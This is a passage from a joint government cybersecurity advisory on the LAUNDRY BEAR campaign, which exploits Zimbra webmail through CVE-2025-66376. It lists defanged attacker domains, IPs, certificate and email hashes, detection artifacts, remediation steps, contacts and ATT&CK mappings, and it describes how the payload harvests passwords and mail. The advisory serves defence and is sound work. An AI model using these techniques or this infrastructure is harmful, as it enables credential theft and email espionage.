<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
